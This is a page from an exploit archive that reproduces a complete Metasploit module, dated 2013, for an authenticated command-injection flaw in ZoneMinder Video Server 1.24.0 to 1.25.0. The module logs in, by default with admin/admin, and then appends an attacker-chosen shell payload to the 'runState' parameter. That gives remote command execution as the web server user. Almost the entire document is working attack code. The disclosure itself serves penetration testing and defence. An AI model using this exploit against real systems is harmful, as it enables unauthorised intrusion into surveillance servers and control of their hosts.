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ZoneMinder Video Server packageControl Command Execution

ZoneMinder Video Server packageControl Command Execution
Posted Jan 25, 2013
Authored by Brendan Coles | Site metasploit.com

This Metasploit module exploits a command execution vulnerability in ZoneMinder Video Server version 1.24.0 to 1.25.0 which could be abused to allow authenticated users to execute arbitrary commands under the context of the web server user. The 'packageControl' function in the 'includes/actions.php' file calls 'exec()' with user controlled data from the 'runState' parameter.

tags | exploit, web, arbitrary, php
MD5 | 8ae47eaf3f2ed29b118391f24caf2d53

ZoneMinder Video Server packageControl Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => 'ZoneMinder Video Server packageControl Command Execution',
'Description' => %q{
This module exploits a command execution vulnerability in ZoneMinder Video
Server version 1.24.0 to 1.25.0 which could be abused to allow
authenticated users to execute arbitrary commands under the context of the
web server user. The 'packageControl' function in the
'includes/actions.php' file calls 'exec()' with user controlled data
from the 'runState' parameter.
},
'References' =>
[
['URL', 'http://itsecuritysolutions.org/2013-01-22-ZoneMinder-Video-Server-arbitrary-command-execution-vulnerability/'],
],
'Author' =>
[
'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit
],
'License' => MSF_LICENSE,
'Privileged' => true,
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' =>
{
'BadChars' => "\x00",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet python perl bash',
},
},
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'DefaultTarget' => 0,
'DisclosureDate' => "Jan 22 2013",
))

register_options([
OptString.new('USERNAME', [true, 'The ZoneMinder username', 'admin']),
OptString.new('PASSWORD', [true, 'The ZoneMinder password', 'admin']),
OptString.new('TARGETURI', [true, 'The path to the web application', '/zm/'])
], self.class)
end

def check

peer = "#{rhost}:#{rport}"
base = target_uri.path
base << '/' if base[-1, 1] != '/'
user = datastore['USERNAME']
pass = datastore['PASSWORD']
cookie = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6)
data = "action=login&view=version&username=#{user}&password=#{pass}"

# login and retrieve software version
print_status("#{peer} - Authenticating as user '#{user}'")
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}index.php",
'cookie' => "#{cookie}",
'data' => "#{data}",
})
if res and res.code == 200
if res.body =~ /<title>ZM - Login<\/title>/
print_error("#{peer} - Authentication failed")
return Exploit::CheckCode::Unknown
elsif res.body =~ /v1.2(4\.\d+|5\.0)/
return Exploit::CheckCode::Appears
elsif res.body =~ /<title>ZM/
return Exploit::CheckCode::Detected
end
end
return Exploit::CheckCode::Safe
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp
print_error("#{peer} - Connection failed")
end
return Exploit::CheckCode::Unknown

end

def exploit

@peer = "#{rhost}:#{rport}"
base = target_uri.path
base << '/' if base[-1, 1] != '/'
cookie = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6)
user = datastore['USERNAME']
pass = datastore['PASSWORD']
data = "action=login&view=postlogin&username=#{user}&password=#{pass}"
command = Rex::Text.uri_encode(payload.encoded)

# login
print_status("#{@peer} - Authenticating as user '#{user}'")
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}index.php",
'cookie' => "#{cookie}",
'data' => "#{data}",
})
if !res or res.code != 200 or res.body =~ /<title>ZM - Login<\/title>/
fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
end
print_good("#{@peer} - Authenticated successfully")

# send payload
print_status("#{@peer} - Sending payload (#{command.length} bytes)")
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}index.php",
'data' => "view=none&action=state&runState=start;#{command}%26",
'cookie' => "#{cookie}"
})
if res and res.code == 200
print_good("#{@peer} - Payload sent successfully")
else
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
end

end

end

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